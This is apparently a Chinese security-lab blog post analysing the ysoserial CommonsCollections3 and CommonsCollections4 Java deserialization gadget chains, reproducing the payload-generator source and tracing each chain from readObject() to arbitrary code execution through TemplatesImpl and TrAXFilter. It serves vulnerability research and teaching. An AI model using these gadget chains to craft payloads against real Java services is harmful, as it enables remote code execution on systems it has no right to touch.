『代码审计』ysoserial CC3 和 CC4 反序列化分析

admin 2023年5月17日08:59:41评论16 views字数 6792阅读22分38秒阅读模式

点击蓝字 关注我们


日期:2023-05-16
作者:ICDAT
介绍:这篇文章主要是对ysoserialCC3和CC4的反序列化进行分析。

0x00、前言

前面我们分析了CC1CC2的反序列化利用链,还分析了TemplatesImplysoserialCC2中利用分析。结合这些,我们可以以此为基础进行CC3CC4反序列化的分析。

0x01、CC3 payload分析

首先说明,CC3链在JDK8u71以上版本无法使用。

查看一下ysoserialCC3的代码,如下:

/* * Variation on CommonsCollections1 that uses InstantiateTransformer instead of * InvokerTransformer. */@SuppressWarnings({"rawtypes", "unchecked", "restriction"})@PayloadTest ( precondition = "isApplicableJavaVersion")@Dependencies({"commons-collections:commons-collections:3.1"})@Authors({ Authors.FROHOFF })public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception { Object templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImpl } )};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler; }

CC1的代码进行比较,就会发现都利用了AnnotationInvocationHandler类动态代理的方法来实现LazyMap.get()->ChainedTransformer.transform()-> ConstantTransformer.transform()方法的执行。

即其一开始的调用链同CC1一样。

    Gadget chain:        ObjectInputStream.readObject()            AnnotationInvocationHandler.readObject()                Map(Proxy).entrySet()                    AnnotationInvocationHandler.invoke()                        LazyMap.get()                            ChainedTransformer.transform()                                ConstantTransformer.transform()

继续查看代码,发现其调用了TemplatesImpl类来执行Runtime.exec()方法。这里跟CC2的利用链是相同的。

但是我们没有发现存在InvokerTransformer类的调用,而是提到了InstantiateTransformer类。

0x02、InstantiateTransformer

查看InstantiateTransformer类,其实现了TransformerSerializable接口。

查看其构造方法,一个是Class对象,一个是Object对象。

『代码审计』ysoserial CC3 和 CC4 反序列化分析

回顾一下之前对ChainedTransformer.transform()的分析,Transformer数组里的对象连接着调用transform()方法。

『代码审计』ysoserial CC3 和 CC4 反序列化分析

那么我们查看一下InstantiateTransformer类的transform方法。

    public Object transform(Object input) {        try {            if (!(input instanceof Class)) {                throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));            } else {                Constructor con = ((Class)input).getConstructor(this.iParamTypes);                return con.newInstance(this.iArgs);            }        } catch (NoSuchMethodException var6) {            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");        } catch (InstantiationException var7) {            throw new FunctorException("InstantiateTransformer: InstantiationException", var7);        } catch (IllegalAccessException var8) {            throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);        } catch (InvocationTargetException var9) {            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);        }    }}

首先是判断input是否是类对象,如果不是即抛出异常,如果是,则通过反射获取input对象的公共构造方法中的this.iParamTypes类为形参的公共构造方法,然后传入this.iArgs作为形参来实例化对象。

0x03、TrAXFilter

再查看payload,发现其将TrAXFilter.class传递给了ConstantTransformer类。我们先分析一下调用逻辑,再去看为什么传入的是TrAXFilter.class

根据传入的Transformer数组的值以及ChainedTransformer的调用,其最终调用逻辑如下。

new InstantiateTransformer(new Class[]{ Templates.class }new Object[] { templatesImpl } ).transform(new ConstantTransformer(TrAXFilter.class).transform())

再回顾一下ConstantTransformer.transform()方法,其返回构造对象时传入的形参。

『代码审计』ysoserial CC3 和 CC4 反序列化分析

那么调用逻辑可以简化成如下:

new InstantiateTransformer(new Class[]{ Templates.class }new Object[] { templatesImpl } ).transform(TrAXFilter.class)

new了一个TrAXFilter对象,传入的形参是templatesImpl

查看一下TrAXFilter类,其存在公共构造方法。

『代码审计』ysoserial CC3 和 CC4 反序列化分析

其构造方法,传入templatesImpl,并调用了newTransformer()方法。

回顾一下在分析TemplatesImpl在反序列化漏洞中的利用的时候,精心构造的TemplatesImpl类对象执行newTransformer()方法来调用defineTransletClasses()方法进而调用defindClass()来实现执行任意代码。

至此,CC3的调用链就比较清晰了,其在CC1的基础上,通过InstantiateTransformer类替换InvokerTransformer类,再结合CC2TemplatesImpl实现任意代码的执行。

CC3完整的利用链如下:

    Gadget chain:        ObjectInputStream.readObject()            AnnotationInvocationHandler.readObject()                Map(Proxy).entrySet()                    AnnotationInvocationHandler.invoke()                        LazyMap.get()                            ChainedTransformer.transform()                                ConstantTransformer.transform()                                InstantiateTransformer.transform()                                    Method.invoke()                                    Runtime.exec()

0x04、CC4 payload分析

查看一下ysoserial中的CC4payload。如下:

/* * Variation on CommonsCollections2 that uses InstantiateTransformer instead of * InvokerTransformer. */@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })@Dependencies({"org.apache.commons:commons-collections4:4.0"})@Authors({ Authors.FROHOFF })public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception { Object templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed Class[] paramTypes = new Class[] { String.class }; Object[] args = new Object[] { "foo" }; InstantiateTransformer instantiate = new InstantiateTransformer( paramTypes, args);
// grab defensively copied arrays paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
// create queue with numbers PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain)); queue.add(1); queue.add(1);
// swap in values to arm Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); paramTypes[0] = Templates.class; args[0] = templates;
return queue; }

查看后半部分代码,发现通过ChainedTransformer对象来作为形参初始化PriorityQueue,从而触发代码执行,这段利用同CC2的利用链一致。

    Gadget chain:        ObjectInputStream.readObject()            PriorityQueue.readObject()                ...                    TransformingComparator.compare()                        ConstantTransformer.transform()

查看前段代码,发现其逻辑如下:

1.new一个ConstantTransformer类对象,形参数为String类对象2.new一个InstantiateTransformer类对象,形参为String类对象和一个字符串对象3.通过ChainedTransformer连接调用transform()方法,即如下:new InstantiateTransformer(new Class[]{ String.class }new Object[] {"foo" } ).transform(new ConstantTransformer(String.Class).transform())可简化为Stringnew一个形参为foo的对象,这里是为了防止PriorityQueue.add()方法触发任意代码执行。

查看最后部分代码,通过反射修改ConstantTransformeriConstant属性,设置为TrAXFilter.class

『代码审计』ysoserial CC3 和 CC4 反序列化分析

反射修改InstantiateTransformerparamTypesTemplates.class

反射修改InstantiateTransformeriArgstemplates

修改完之后,类似CC3通过new一个TrAXFilter对象,形参为templates,从而触发任意代码执行。

CC4的逻辑大致是CC2基础上,把InvokerTransformer方法替代为InstantiateTransformer方法。

其完整利用链如下:

    Gadget chain:        ObjectInputStream.readObject()            PriorityQueue.readObject()                ...                    TransformingComparator.compare()                        ConstantTransformer.transform()                        InstantiateTransformer.transform()                            Method.invoke()                            Runtime.exec()

0x05、结语

结合CC1CC2的利用分析,我们可以很简单地去对CC3CC4进行利用链的分析。

『代码审计』ysoserial CC3 和 CC4 反序列化分析

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。


点此亲启

ABOUT US

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

『代码审计』ysoserial CC3 和 CC4 反序列化分析

原文始发于微信公众号(宸极实验室):『代码审计』ysoserial CC3 和 CC4 反序列化分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月17日08:59:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『代码审计』ysoserial CC3 和 CC4 反序列化分析http://cn-sec.com/archives/1737461.html

发表评论

匿名网友 填写信息